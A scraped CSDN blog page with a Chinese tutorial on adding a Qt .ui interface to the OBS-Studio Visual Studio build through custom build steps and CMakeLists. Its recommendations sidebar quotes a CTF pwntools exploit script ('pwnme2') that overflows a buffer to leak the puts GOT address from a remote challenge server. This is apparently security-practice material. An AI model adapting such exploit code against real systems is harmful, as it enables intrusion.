OBS-Studio 新增基于QT的UI界面_obs 插件添加qt 的ui项目-程序员宅基地

OBS-Studio 的工程编译后是一个VS工程

用qtcreator新建一个.ui文件,然后将该ui文件添加到vs工程UI文件中:

1、在搭建好QT环境,就是给VS装一个QT插件,可参考https://blog.csdn.net/liang19890820/article/details/53931813

然后双击新增的UI文件,弹出qtcreator的界面编辑器(QT插件装好才能直接双击打开),编辑自己的界面;

2、编辑好后,保存,点击ui文件->右键->属性->常规->项类型-自定义生成工具

3、然后编辑自定义生成工具,如下图

(1)命令行

(2)说明

(3)输出

也是同理啦,例如:D:\code\obs-studio\VSbuild\UI\ui_xxx.h

  (4)附接依赖项

添加新增ui文件所在的路径

4、将.h和.cpp文件添加到CMakeList.txt中;

5、将ui文件也添加到该UI目录下的CMakeList.txt中

6、编译,obs_automoc.c会自动为你生成moc文件;

 

写的比较粗糙,不喜勿喷,留下以备查看。

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_38457735/article/details/82758106

智能推荐

cmcc pwnme2_pwnme2 cmcc-程序员宅基地

文章浏览阅读296次。from pwn import *#p = process('./pwnme2')p = remote("node3.buuoj.cn",26522)libc = ELF('./libc-2.23.so')plt_puts = 0x08048490got_puts = 0x0804A028main = 0x080486F8payload = 108*'a' + p32(0xdeadbeaf) + p32(plt_puts) + p32(main) + p32(got_puts)._pwnme2 cmcc

【论文解读 KDD 2019 | HetGNN】Heterogeneous Graph Neural Network_hetgnn代码解读-程序员宅基地

文章浏览阅读9.1k次,点赞15次,收藏58次。论文题目:Heterogeneous Graph Neural Network论文来源:KDD 2019论文链接:https://arxiv.org/abs/1903.07293代码链接:https://github.com/chuxuzhang/KDD2019_HetGNN关键词:HIN, GNN, Graph Embedding文章目录1 摘要2 引言2.1 已有的方法2.2 G..._hetgnn代码解读

为什么基于DNS的全局负载均衡(GSLB)不起作用?_gslb时不时不能解析-程序员宅基地

文章浏览阅读4.8k次,点赞2次,收藏11次。Why DNS Based Global Server Load Balancing (GSLB) Doesn’t Work作者:Pete Tenereillo3/11/04Copyright Tenereillo, Inc. 2004序言弗雷德:乔,我要去赶一班飞机,从好莱坞到洛杉矶国际机场需要多长时间? 乔:恩。。。这取决于你走哪条路。 _gslb时不时不能解析

windows下vs2015编译POCO及使用poco操作sqlite_poco在vs下指定sql-程序员宅基地

文章浏览阅读1.6k次。1.下载POCOhttps://pocoproject.org/releases/我们选择windows下的zip包下载,注意有两个版本poco-1.9.4-all.zippoco-1.9.4.zip其中不带all的是基础版本,只包含基本的poco类库,带all的是全功能版本,包含sqlite,opensll等等。2.编译Poco C++前提条件:1)Poco C++源码(官网..._poco在vs下指定sql

利用VBB仿真——实现LED+数字键盘密码验证_vbb+-程序员宅基地

文章浏览阅读919次。使用VBB仿真,实现密码验证。接线 代码贴图 操作接线:代码贴图:操作:初始密码:1234每组验证可输入4位字符,然后任意再触发任意数字键盘按键,完成一组输入验证。右LED灯亮时表示输入错误,左LED灯亮时表示输入正确。当错误输入次数满三次后闪烁报警,仅当再次正确输入后错误计数清零。..._vbb+

随便推点

计算机视觉:你必须了解的图像数据底层技术-程序员宅基地

文章浏览阅读552次。点击上方“小白学视觉”,选择加"星标"或“置顶”重磅干货,第一时间送达转自|新机器视觉引言计算机视觉(Computer Vision)自兴起以来就非常迅速且广泛应..._一张图片的底层数据

css样式引用的几种方法、优先级关系及权重计算_如何提高link样式文件的权重-程序员宅基地

文章浏览阅读1.5k次。1.引用方式1.内联式(行内样式)将标记的style属性值直接赋值为所定义的样式规则<p style = "color:red;background:#000000;">这是一个段落</p>2.嵌入式利用<style>&lt_如何提高link样式文件的权重

ks.cfg使用于HPC和ORACLE单机,系统版本:RHEL6.2,硬件平台:X86全系列_oraclelinux ks.cfg-程序员宅基地

文章浏览阅读2.2k次。由于AMD 6200系列和INTEL E5系列等新架构CPU的大量推广,传统的SUSE10和RHEL5在新的硬件平台上已经不能发挥出良好的性能。 经大量测试发现,在RHEL6.2 x64平台上,infiniband网络和计算软件能得到最佳性能。 由于RHEL6.2 x64在系统安装时有很多32位软件包被自动忽略,同时使用UUID方式挂载硬盘不方便克隆和修复。现发布一个新测试通过的k_oraclelinux ks.cfg

cvi文件操作笔记_cvi fopen-程序员宅基地

文章浏览阅读1.4k次。int i = 0; int x = 0; char str[20]; char val1[20],val2[20],val3[20]; case EVENT_LEFT_CLICK_UP: { sprintf(CanMeng_FileName,"%s%s","file",".txt"); http://www.docin.com/p-647400695.html printf("write file:%s\n",CanMeng_FileName); Ca._cvi fopen

Ubuntu 13.04 Linux 3D桌面完全教程,显卡驱动安装方法,compiz特效介绍,常见问题解答_linux桌面启动u3d程序 需要更新什么吗-程序员宅基地

文章浏览阅读2.3k次。[2013年4月28日更新] Ubuntu Linux 3D桌面完全教程,显卡驱动安装方法,compiz特效介绍,常见问题解答。本教程最早是一善鱼 YQ-YSY 于2008年编写并发布在Ubuntu中文论坛forum.ubuntu.org.cn配置美化区3D桌面特效版块的:——《图解Ubuntu8.10和8.04最简便的显卡驱动安装和3D桌面启用方法,compiz fusion常见问题解答_linux桌面启动u3d程序 需要更新什么吗

cloud-init实现自动扩展 磁盘分区_cloud-init 扩展-程序员宅基地

文章浏览阅读7k次。背景说明cloud-init 的一项功能是自动扩展linux的指定分区。比如linux镜像是20G,在部署instance时选择的flavor磁盘定义是40G,那么instance部署时cloud-init会自动将制定分区扩到 40G。 环境准备1) 该功能依赖growpart,所以需要在开始前,在镜像中安装包: yum install –y cloud-utils-gro..._cloud-init 扩展

推荐文章

热门文章

相关标签